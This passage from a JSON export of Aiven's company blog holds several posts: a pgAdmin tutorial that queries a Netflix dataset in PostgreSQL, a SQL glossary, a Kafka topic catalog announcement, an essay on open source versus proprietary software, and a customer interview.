emissions.\n\n[Spare](https://aiven.io/case-studies/aiven-for-postgresql-helps-spare)'s on-demand transportation service runs on Aiven for PostgreSQL.\n\nTo read more about PostgreSQL, take a look at [What is PostgreSQL?](https://aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog. Or just sign up for a PostgreSQL trial on Aiven at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading \n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n\n- [Future PostgreSQL®: Improvement to the Replication Protocol](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-01T00:00:00.000Z","related":[{"_key":"5ea20f1a47b0","_ref":"56t2NYsyR3QoiIYqGfD0aR","_type":"reference"},{"_key":"099276c97bdc","_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"},{"_key":"10846b8b7b9a","_ref":"54xk9NNU2210YD7HOszTgN","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"PostgreSQL® is great for a huge variety of use cases involving data. Find out how Aiven's customers are using it as part of their data architecture.","metaImage":{"alt":"","asset":{"_ref":"image-46c5179e9bf22fdf42dde47f08590747adf7a33a-1567x844-png","_type":"reference"}},"metaTitle":"Use cases for PostgreSQL® | Find out more | Aiven"},"slug":{"_type":"slug","current":"/blog/use-cases-for-postgresql"},"subtitle":"PostgreSQL® is great for a huge variety of use cases involving data. Find out how Aiven's customers are using it as part of their data architecture.","title":"Use cases for PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1AkIEGNslL6OW2zQtTlJJK","_rev":"T130WEs22RB6SoEkOC1yMY","_type":"post","_updatedAt":"2024-11-19T11:01:34Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"[PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") is the perfect database for a huge variety of business cases, from IoT-type fast insertions to bulk analytics workloads. We even make it possible to explore [exoplanet data](https://aiven.io/blog/discover-exoplanets-with-postgresql)!\n\nDatabase interaction can be performed at various levels: command line tools are great for people glued to their keyboards... but some people prefer a slick point-and-click UI that shows all the information without having to write tons of commands. In this blog post, we'll look at how to use Aiven for PostgreSQL with pgAdmin, one of the most popular tools for administration and development.\n\nHere's what this post will cover:\n1. [Aiven PostgreSQL service creation](#1-create-a-postgresql-database), since you can only query a database if it exists\n2. [How to install pgAdmin and connect to a PostgreSQL database](#2install-and-connect-pgadmin)\n3. [How to load a Netflix dataset into PostgreSQL via pgAdmin](#3-load-netflix-data)\n4. [How to check Samuel L. Jackson statistics via pgAdmin queries](#4-have-fun-with-the-data)\n\n## 1. Create a PostgreSQL database\nIf you don't have a PostgreSQL database ready, why not create one with [Aiven's console](https://console.aiven.io/)? Here's how:\n* In the Aiven Console, click **+ Create a new service**\n* As Product, select PostgreSQL\n* Select a cloud provider, a region and a plan.\nOnce created, you'll be able to find the information about your database by double-clicking on the instance name. The **Overview** tab shows information like **Database Name**, **Host** and **Port**, together with the pre-created `avnadmin` user and password.\n\n![overview tab](//cdn.sanity.io/images/sczeoy4w/production/357a0bc0a8ecb1a83799317c414963b39abbcf47-1195x843.png \"The Aiven Console Overview tab\")\n\nWe just need to wait a couple of minutes until the **Nodes** lights become green, indicating our PostgreSQL service is ready to be used.\n## 2. Install and Connect pgAdmin\nI chose pgAdmin because it's one of the most popular options among PostgreSQL client tools. It can run either as a web or desktop application, and for the purposes of this blog post we'll choose the latter. You can download it from the [pgAdmin website](https://www.pgadmin.org/download/), and the installation just takes a couple of clicks.\n\nOnce installed and launched, the tool asks you to set a **Master Password**. This is a good way to secure all the credentials we're going to store.\n\nNow it's time to connect to PostgreSQL. To do that, click **Create New Server** and fill in the required parameters. On the **General** tab, set the connection name; on the **Connection** tab, enter the hostname, port, and maintenance database as well as username and password used to authenticate. (All this information available in Aiven Console on the Overview tab). Finally, on the **SSL** tab, select `SSL Mode = required`; this is Aiven's default security method.\n\n![three connection steps](//cdn.sanity.io/images/sczeoy4w/production/86b7ecd261ff5fd66af9f0040501162d8a15e232-1505x652.png \"Connecting to PostgreSQL\")\n\nWe should now be able to access our PostgreSQL default screen. It contains a set of visualisations around the number of sessions, transactions per second, in and out tuples and server activity. Very useful information for monitoring our database.\n\n![default screen](//cdn.sanity.io/images/sczeoy4w/production/cedf014efe7f2460a8f4fd23fd33a6485cbdd778-1509x900.png \"Aiven for PostgreSQL default screen with cool visualisations\")\n\npgAdmin offers a wide set of administration features, from local database backups management to **Schema Diff**, a valid tool for enabling a DDL comparison across databases.\n## 3. Load Netflix data\npgAdmin is not only a monitoring and administration tool. Since it also offers development experience, we can use it to create all kinds of objects in the database via GUI or pgsql. For example, you can create a table, upload in it a csv file and start querying it.\n\nWe'll use some data related to Neflix shows, taken from [Kaggle](https://www.kaggle.com/shivamb/netflix-shows?select=netflix_titles.csv). You only need a free account to download it. We can then unzip it and we'll use the file `netflix_titles.csv` for the rest of the blog.\n\nWe have the dataset, what about the table structure? We can generate the table DDL with the handy `ddlgenerator` tool as explained in [a previous post](https://aiven.io/blog/discover-exoplanets-with-postgresql) all we have to do is to run the following from a terminal window\n\n```\npip install ddlgenerator\nddlgenerator postgres ~/Downloads/netflix_titles.csv\n```\nThe above command should provide the following output, which we can now copy and paste in pgAdmin query editor available by selecting **Tools** -\u003e **Query Tools** and run it.\n\n```\nCREATE TABLE netflix_titles (\n\tshow_id VARCHAR(5) NOT NULL,\n\ttype VARCHAR(7) NOT NULL,\n\ttitle VARCHAR(104) NOT NULL,\n\tdirector VARCHAR(208),\n\t_cast VARCHAR(771),\n\tcountry VARCHAR(123),\n\tdate_added TIMESTAMP WITHOUT TIME ZONE,\n\trelease_year BIGINT NOT NULL,\n\trating VARCHAR(8),\n\tduration VARCHAR(10) NOT NULL,\n\tlisted_in VARCHAR(79) NOT NULL,\n\tdescription VARCHAR(248) NOT NULL\n);\n```\n\nBrowse the object tree in the pgAdmin left-side panel to Default-db -\u003e Schemas -\u003e Public -\u003e Tables, and you should see a table named `netflix_titles`.\n\nTo load the csv file into the `netflix_titles` table, do the following:\n1. Right-click on the `netflix_titles` table and select `Import/Export`.\n2. Set `Import` in the Import/Export slider.\n3. Select the `netflix_titles.csv` file from the local computer\n4. Enable the `Header` flag.\n5. Click OK.\n\n![import options](//cdn.sanity.io/images/sczeoy4w/production/55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550.png \"Data import options\")\n\nYou can see your import thread being started and populating the `netflix_titles` table. Once finished, pgAdmin shows the text `Successfully completed`.\n## 4. Have fun with the data!\nNow that we've loaded the data, we can have some fun querying it. Let's create a new query editor and check which were the top 3 countries based on movie production according to the dataset with the following query:\n\n```\nselect country,\n  count(*) nr_movies\nfrom netflix_titles\ngroup by country\norder by 2 desc\nlimit 3;\n```\n\nThe result, unsurprisingly, puts **United States** on top, followed by **India** - and then **Null**, probably due to problems during the data collection.\n\nNow it's time to explore the filmography of one of my favourite actors: `Samuel L. Jackson`. Which actor was in the most movies with him?\n\n```\nselect trim(s.actor) actor,\n\tcount(*) nr_movies\nfrom netflix_titles nt,\n\tunnest(string_to_array(nt._cast, ',')) s(actor)\nwhere _cast like '%Samuel L. Jackson%'\n\tand trim(s.actor) \u003c\u003e 'Samuel L. Jackson'\ngroup by trim(s.actor)\norder by 2 desc\nlimit 10;\n```\n\nThe following query allows us to explode, with the `unnest` function, the `_cast` field containing a comma separated list of actors for each movie. The result tells us that **Tim Roth** and **Walton Goggins** are the two lucky actors who shot three movies with Samuel L. Jackson.\n\nFinally, what are the 10 most used words (with more than 3 characters) in movie titles?\n\n```\nselect title_word, count(*) nr_movies\nfrom netflix_titles nt,\n\tunnest(string_to_array(upper(nt.title), ' ')) s(title_word)\nwhere char_length(title_word) \u003e 3\ngroup by title_word\norder by 2 desc\nlimit 10;\n```\n\nAgain, the `unnest` function over the `title` field enables us to verify that, as expected, **LOVE** is the most frequently used word. But run this query yourself to find out which surprising word takes third place!\n## pgAdmin is a perfect fit for PostgreSQL\npgAdmin offers a great UI for PostgreSQL: monitoring the database, comparing changes across instances, managing local backups, querying, importing and exporting data. The tool offers a series of functionalities which make developer's and administrators' lives easier, and daily tasks accessible. \n\nIf you want more information here are few links:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) for more info about Aiven's Postgres offering\n* [pgAdmin website](https://www.pgadmin.org/) for downloads, documentation and FAQs\n* [Getting started with PostgreSQL](https://aiven.io/docs/products/postgresql/get-started) for information on how to create a service and interact with it in a variety of languages\n* [Aiven's console](https://console.aiven.io/) where you can build your favourite open source data platform\n\nAnd some further reading:\n* [How to stand up multiregion PostgreSQL with Pulumi](https://aiven.io/blog/how-to-stand-up-multiregion-postgresql-with-pulumi) to improve the performance of your PostgreSQL database\n* [Aiven for PostgreSQL for your Go application](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application) \n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-20T00:00:00.000Z","seo":{"metaDescription":"Loading a Netflix dataset into PostgreSQL via pgAdmin or checking Samuel L. Jackson statistics? Find out how it is done in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844-png","_type":"reference"}},"metaTitle":"Analyzing Netflix shows with pgAdmin and PostgreSQL"},"slug":{"_type":"slug","current":"/blog/analysing-netflix-shows-with-pgadmin-and-postgresql"},"subtitle":"Learn to use pgAdmin with PostgreSQL by... watching movies? Find out more!","title":"Analyzing Netflix shows with pgAdmin and PostgreSQL"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"kFp5PwIgDNlE46qegyYSb","_rev":"sg5cBJWkRHo7pkcz4CzPx5","_type":"post","_updatedAt":"2023-12-12T14:10:31Z","authors":[],"body":"\u003c!--\nworking version in GitHub: \\GitHub\\blog-posts\\2022\\pillar-pg\\cluster-postgres-concepts.md\ncopy-paste everything into Contentful version for publishing https://app.contentful.com/spaces/q3u27v6lpki8/entries/kFp5PwIgDNlE46qegyYSb\nDO NOT EDIT IN CONTENTFUL\n--\u003e\n## Constraint\nConstraints specify the rules that data in a database table has to follow, to ensure that data is accurate and reliable. The common constraints are ```NOT NULL```, ```UNIQUE```, ```PRIMARY KEY```, ```FOREIGN KEY```, ```CHECK```, ```DEFAULT``` and ```CREATE INDEX```.\n\n## Data Type\nThe data type of a column defines the kind of values it can contain, for example integer, character, date, binary etc. Each column must have a name and a data type.\n\n## Foreign Key\nA foreign key links two database tables. The foreign key constraint relates a column in the Child table to the primary key column in the Parent table, identifying the relationship between the two tables.\n\n## Join\nA ```JOIN``` clause combines columns from one or more tables into a new table. In ANSI-standard SQL, the five types of join are ```INNER```, ```LEFT OUTER```, ```RIGHT OUTER```, ```FULL OUTER``` AND ```CROSS```.\n\n## Normalization\nTo reduce data reduncancy and improve integrity, databases can be structured according to a set of 'normal forms'. Normalization means that the columns and tables are organized in such a way that their dependencies are enforced by the database's integrity constraints.\n\n## Partitioning\nPartitioning makes large tables more manageable. This way, you can access or manage only subsets of data, but still maintain the integrity of the table.\n\n## Primary Key\nConstraints placed on a column in a database that ensure that the field uniquely identifies each separate record (row). Its function is to enforce data integrity. When the primary key is used in queries, it provides faster access to data.\n\n## Relationship\nAn established association between tables; see also [Foreign key](#foreign-key).\n\n## Schema\nA schema describes the organization of data in a database and the relationships between objects and elements, like tables, procedures, views, functions, and indexes. A schema is the owner of the database objects it describes, whereas a user can be the owner of the schema itself. A database can have multiple schemas.\n\u003c!-- please add more --\u003e\n\n## Stored procedures\nStored procedures provide applications access to commonly-used data validation, access control, or other methods. They are maintained in the data dictionary of a database, and may contain several combined SQL procedures each.\n\n## Table\nAll the data in a database is contained in tables. They are database objects that organize data in rows and columns, rather like a spreadsheet. Each individual record is represented by a row, and the fields it contains are arranged into columns(*).\n\nEach column can have properties that define the kind of data stored in that field, such as [data type](#data-type), uniqueness and so on.\n\n(*) With the exception of columnar databases, which flips this organization.\n\n## Transaction\nA transaction is unit of work applied to a database, containing a sequence of operations.\n\n## Trigger\nTriggers execute code in response to transactional or other changes to a table or view: when a new item is entered to an inventory table, a similar item could be entered automatically to each of the ```prices```, ```reviews```, and ```orders``` tables.\n\n## Views\nA view is a virtual table based on the results of a SQL statement. This virtual table can be manipulated and queried exactly like a single database table.\n\n--\n\nTo read more about PostgreSQL, take a look at [What is PostgreSQL?](https://www.aiven.io/blog/an-introduction-to-postgresql) on the Aiven blog. Or just sign up for a PostgreSQL trial on Aiven at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Glossary of important terminology related to PostgreSQL® and SQL | Get informed about the open-source, object-relational database management system.","metaImage":{"alt":"","asset":{"_ref":"image-161a85e3e02c91b1f51fe6d6b6eb67cdbf2d7412-1567x844-png","_type":"reference"}},"metaTitle":"(Postgre)SQL concepts and terms"},"slug":{"_type":"slug","current":"/blog/postgresql-concepts-and-terms"},"subtitle":"A glossary of terms related to PostgreSQL® and SQL in general.","title":"(Postgre)SQL concepts and terms"}
{"__i18n_lang":"en","_createdAt":"2023-12-04T14:18:48Z","_id":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_rev":"zHeFW2t7bUb3lAyGGprE5Z","_type":"post","_updatedAt":"2023-12-05T15:40:03Z","authors":[{"_key":"0ba2e8e94af3","_ref":"5a531f9a-26ef-4216-95ae-2bf249a0b9cd","_type":"reference"}],"body":"Aiven for Apache Kafka® is designed with the primary goal of enabling technical teams to run Apache Kafka® workloads at scale without the complexity that usually comes when running Kafka in production. To enable an improved developer experience in the Aiven console, we are introducing a Kafka topic catalog that allows viewing and consuming all the topics a user has access to across services and projects in their organization.\n\n## Kafka topics catalog in Aiven for Apache Kafka\n\nWhile the Aiven Console already provides an overview of all your Aiven for Apache Kafka services, to date there is no unified place to view all topics you have across services. This is particularly important when it comes to comparing the same topic in different environments, such as `development` and `production`.\n\nWith the newly introduced Kafka topic catalog, Aiven customers can discover all of their data and topics across their different Kafka clusters. For example, when looking for a specific topic, rather than having to go through many different Kafka services (and even separate Aiven projects), users can quickly browse all topics they have access to on the same screen. This gives a straightforward and complete view of the status quo with all the Kafka topics available from a single pane of glass.\n\n## Kafka topics catalog - benefits\n\nCustomers of Aiven for Apache Kafka can now use the Kafka topics catalog and benefit from: \n- A centralized view of their designated topics across services and environments\n- Easy comparison of the same topic’s configuration across different services and environments\n- Easy comparison of the same topic's users and permissions across different services and environments\n\n::youtube[Using Apache Kafka's Topic Catalog]{#iUTMoU29bac}\n\n## Pricing \u0026 Availability\n\nAiven for Apache Kafka is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAiven for Apache Kafka plans come with multi-instance clusters across tiers for high availability. Full details can be found on the pricing page.\n\nAiven for Kafka is priced per hour, with prices starting at $0.397/hour ($290/month). The Kafka topics catalog is now available to all existing and new Aiven for Apache Kafka customers at no additional cost.\n","categories":[{"_key":"bf95a78f65bc","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Kafka, Apache Kafka, Kafka topics catalog, Kafka topic configuration, Aiven for Apache Kafka, Kafka governance, Kafka topic governance","asset":{"_ref":"image-b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-05T15:40:00.000Z","related":[{"_key":"eef40b48a7f7","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"reference"},{"_key":"a9bfc4b43e26","_ref":"5B5i1J33DaNFC1hstMMocV","_type":"reference"},{"_key":"4089b70da492","_ref":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"New Kafka topics catalog in Aiven for Apache Kafka brings a topic-centric view of your Kafka environment directly to the Aiven console","metaImage":{"_type":"mainImage","alt":"Kafka, Apache Kafka, Kafka topics catalog, Kafka topic configuration, Aiven for Apache Kafka, Kafka governance, Kafka topic governance","asset":{"_ref":"image-b04ae645b3878f57f7cac9448bd2efca7ce8923b-1200x628-png","_type":"reference"}},"metaTitle":"Introducing a Kafka topic catalog for Aiven for Apache Kafka"},"slug":{"_type":"slug","current":"/blog/introducing-the-kafka-topic-catalog-for-aiven-for-apache-kafka"},"subtitle":"New Kafka topics catalog in Aiven for Apache Kafka brings a topic-centric view of your Kafka environment directly to the Aiven console","title":"Introducing the Kafka topic catalog for Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2024-03-14T15:45:43Z","_id":"8530b248-40c6-49bc-bde5-a290ed3684c7","_rev":"T130WEs22RB6SoEkO9HEyo","_type":"post","_updatedAt":"2024-11-18T13:05:57Z","authors":[{"_key":"9b80a6e57f13","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"The debate on the cohabitation of open source software (OSS) and proprietary software has persisted as long as both have existed. OSS, designed for unrestricted access and usage, and proprietary software, its opposite, have often been positioned as opponents in the technology arena.\n\nHowever, the reality is far from this either/or dynamic. Nearly all companies, whether knowingly or not, utilize a blend of both OSS and proprietary software. In fact, it is [estimated](https://www.synopsys.com/software-integrity/resources/analyst-reports/open-source-security-risk-analysis.html) that up to 98% of codebases reportedly incorporate some form of OSS.\n\nDespite these advancements in technology, awareness, and adoption, many businesses still struggle to build infrastructures that effectively harness the benefits of both.\n\n## Balancing Act: Unlocking OSS Potential\n\nThe decision between OSS and proprietary software holds significant importance, as it directly impacts business success. While both options have their merits and drawbacks, defaulting to proprietary software can stifle development, innovation, and progress - the very reasons OSS was initially developed.\n\nBusinesses often find themselves at a crossroads, unsure how to unlock the potential of OSS without compromising on the specialized (yet often costly) technical support from proprietary vendors.\n\n## Navigating Tensions\n\nThis dilemma stems from conflicting approaches. Businesses understand the importance of innovation for differentiation, yet they are wary of the perceived risks of deviating from the traditional path.\n\nOSS developers have responded to this tension by creating projects that act as gateways to commercial adoption. These projects build awareness among a vast user base, with the hope that some will become paying customers. Additionally, OSS tends to be more accessible for learning due to shared resources within its community, unlike the often restrictive learning processes of proprietary software.\n\nHowever, businesses sometimes only embrace OSS at a project level, hesitant to commit to broader usage. This tension between OSS and proprietary software is likely to persist unless there is a fundamental shift in approach.\n\n## The Role of Open Governance\n\nSuccessful OSS projects often thrive under open governance, as seen in the [Apache Software Foundation.](https://www.apache.org/) This democratic approach allows for broader participation in a project's development and strategic direction, attracting developers and industry players alike.\n\nThe [GitHub Open Source Guide](https://opensource.guide/leadership-and-governance/) provides a good summary of open governance.  A framework that mirrors the decentralized nature of OSS can enhance its success and contribute to its growth alongside proprietary software at an enterprise level.\n\n## Addressing Freeloaders\n\nBoth OSS and proprietary software companies must shift their behavior for a more balanced ecosystem. OSS should establish effective governance models to prevent it from becoming inadvertently proprietary. Similarly, proprietary software companies should contribute back to OSS projects - a trend that is slowly gaining momentum according to our [own research](https://techmonitor.ai/technology/software/google-open-source-projects-microsoft-amazon-github#:~:text=Tech%20giants%20Microsoft%2C%20Google%20and,in%20the%20past%20six%20years).\n\nAt Aiven, we recognize the importance of this balance, which is why we have a dedicated Open Source Program Office (OSPO). Beyond code contributions, the OSPO fosters engagement with the OSS community through documentation, feedback, and community activities.\n\nThe prevalence of \"freeloaders,\" those who benefit from OSS without contributing, underscores the need for change. Businesses must invest in structures that enable their technologists to contribute back to OSS tools. Alternatively, partnering with organizations that ensure the sustainability of OSS projects is crucial for future-proofing their technology stack.\n\nIn conclusion, the coexistence of OSS and proprietary software presents both challenges and opportunities for businesses. Striking the right balance requires a shift in mindset and behavior from all stakeholders involved. Only then can we fully realize the potential of open source technologies in driving innovation and progress in the digital landscape.\n","categories":[{"_key":"53c165911073","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"d59c622beaff","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"c95c4637b530","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e122085b2447fe0cb74b5df46d22b06dc8fe561f-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-14T15:42:19.119Z","seo":{"_type":"metaData","metaTitle":"Balancing Open Source \u0026 Proprietary Software | Aiven"},"slug":{"_type":"slug","current":"/blog/the-coexistence-of-open-source-and-proprietary-software"},"subtitle":"Discover how to build a technology infrastructure to get the best of both open source and proprietary software","title":"The Coexistence of Open Source and Proprietary Software: Striking the Balance"}
{"__i18n_lang":"en","_createdAt":"2024-03-22T08:28:49Z","_id":"3272b585-3fa5-45fd-b560-c578e6ccbb55","_rev":"FsdEUX6qPquRWP6V15gd3Y","_type":"post","_updatedAt":"2024-03-25T07:32:11Z","authors":[{"_key":"e6bb7e8984b5","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Like many entrepreneurs, Pagel’s step into business was borne out of a desire to do things differently. His founder journey began in 2016 in Singapore — a place he still calls home today. While working as a research associate at a university, he became frustrated with the science ecosystem and how it all worked. \n\nDespite a solid level of technical knowledge and knowhow, Pagel was seeking the best way to apply it. It was at this point he decided to join [Entrepreneur First ](https://www.joinef.com/)(EF) — an accelerator program that brings technically skilled individuals together on the basis that shared passions will create the technology-based businesses of tomorrow. This is where [SensorFlow](https://www.sensorflow.co/) was born, though the driving force behind EF is very much mirrored in how we operate at Aiven.\n\nPagel says, “I met my Co-Founder in the program. We gravitated towards doing IoT for buildings because we both had an IoT background. We figured out that hotels are a very underserved, niche market that could benefit from automation because of the dynamic usage of energy in those buildings.”\n\n## SensorFlow’s family of IoT devices\n\nBased on AI, SensorFlow combines wireless IoT solutions and automation to make smart buildings a reality. It enables individual buildings to be adapted, helping to unlock benefits in relation to sustainability, energy efficiency and cost savings.\n\nHe continues, “One of our early learnings was that, in the retrofit market, no two buildings are the same so you have to be adaptable. It’s why we built an entire family of IoT devices that can serve different use cases. It’s a modular-based approach which means we are able to quickly fit sensors into locations without a building needing to be shut down for any period of time.”\n\nThe sensors detect whether a room is occupied, if the windows are open or if the ambient temperature needs adjusting and make changes accordingly. Not only that but, with analytics and AI in the back end, it can inform bigger picture decision-making in terms of energy strategy or investment into building upgrades.  \n\n## Sustainability and doing more with less\n\nWhen it comes to the broader impact of technology on sustainability, Pagel believes it is an amplifier, rather than a solution. He says, “One piece of technology isn't going to solve the world’s climate woes. It’s more about helping to make more of the good stuff and reduce the bad in the process.”\n\nThis is exactly our approach at Aiven. We want to find ways for both ourselves and our customers to become more sustainable by democratizing access to technology so new solutions can be created. You can read more about our sustainability vision and objectives [here](https://aiven.io/sustainability).\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/f9135b2343dc588a9fb412982360229dfb879e88-1200x628.png)\n\nHe goes on to say, “If you look at the big contributors to carbon emissions, buildings are right up there. For us, it’s about continuously looking at where the inefficiencies are and trying to do more with less. That’s where technology shines.”\n\nA point that brought us nicely on to the increasing role AI is playing in Max’s world.\n\n## Conversational AI models lowering barriers to entry\n\nAI is pivotal to SensorFlow and a topic that Pagel is particularly excited about. For example, Pagel expects that today’s conversational AI models will unlock big benefits, especially when it comes to training and development. He says, “Rather than people having to read through manuals and invest time in memorizing all the intricacies of how something works, I would love to see a product that explains itself to me and does the things I need to do.” Pagel sees it as the natural progression in the way in which we interact with machines and one that will lower the barriers to entry.\n\nHe goes on to say, “Big hotel chains have engineering teams and spend weeks training them up, only to see people leave and have to start the process over again. Institutional knowledge drops and huge amounts of time and money are wasted. Having the ability to make systems more accessible in a much shorter time will enable people to leverage the benefits of technology and do more with less.”\n\n :youtube[Pushing technologies boundaries to do more with less]{#Un61MMXQW-c} _Fireside Chat between our CTO and Co-Founder, Heikki Nousiainen and Max Pagel, CTO and Co-Founder, SensorFlow_\n\n## Open source: democratizing technology and making the world a better place\n\nJust as AI will help democratize access to technology, Pagel believes open source also enables businesses to access ways of doing things that may otherwise have been out of reach. This is a sentiment that many Aiven customers reflect. Pagel believes that one of the biggest accomplishments of open source is that it has democratized technologies without the control of privately owned companies. He says, “Open source has managed to create standards in certain areas and encouraged interoperability. It has made the world a better place.\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/f0ec00cce9a3f33c7d36fcb0563c4950dc666817-1200x628.png)\n\n“In a way it has given rise to a different corporate model — somewhat for profit, but generally for the greater good. Though it still needs to be run like it would run for a corporation because otherwise it's not going to be able to constantly deliver a software product that satisfies the requirements that are needed for a specific production.”\n\n## The advantages of a platform approach \n\nPagel also reflects on the advantages of looking at a platform approach in the technology sector, describing it as a ‘chicken and egg problem’. He cites an article which looked at what approach a start-up should take — best-in-class in a specific field or create a platform with a more broad offer? The conclusion was that the platform always wins because otherwise, businesses cannot keep up. They can only be best-in-class for so long so any advantage will shrink over time.\n\nThis is exactly the approach we take at Aiven by creating a platform that is more than a collection of open source services for streaming, storing and analyzing data. The platform ensures that all services run reliably and securely in the clouds of your choice, are observable, and can easily be integrated with each other and with external 3rd party tools. More on that [here](https://aiven.io/platform).\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/5be7cc756013590346738758b8841d5587699d01-1200x628.png)\n\nHe says, “I subscribe to the idea that the platform always wins. That doesn't mean that all businesses need to be a platform but they do need to find a platform to access the technology they need because it is incredibly hard to build a platform out of nothing. Finding strong partners is critical.”\n\n## The perfect platform partner to set a new standard in hospitality\n\nReflecting on technology specific to his industry , Pagel points to the challenge the hospitality sector is facing when it comes to finding the perfect platform partner. He says, “In the hospitality industry, technology moves faster than the assets that they are managing and there are so many areas for these businesses to manage — everything from finance, product, purchasing, asset management, property management, staff management, engineering management and many others. It means we’re in the middle of a platform war to see who emerges and sets the new standard.”\n\n","categories":[{"_key":"55f6037ddbe1","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"ad56060abed7","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"05cb646d1ea8","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"},{"_key":"607527e89727","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-caa9fb78d0905aff90f0fb28789d2eccb66fcbfe-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-25T07:30:00.000Z","related":[{"_key":"03f072dc9e46","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"},{"_key":"3f61641965fe","_ref":"f9b3734c-8b0c-432e-b6f9-382e0311ae0d","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/sensorflow-amplifying-advancement-with-ai"},"subtitle":"SensorFlow’s Co-Founder and CTO on using technology to do more with less and why the platform approach will always win","title":"Max Pagel, SensorFlow: Amplifying Advancement with AI"}
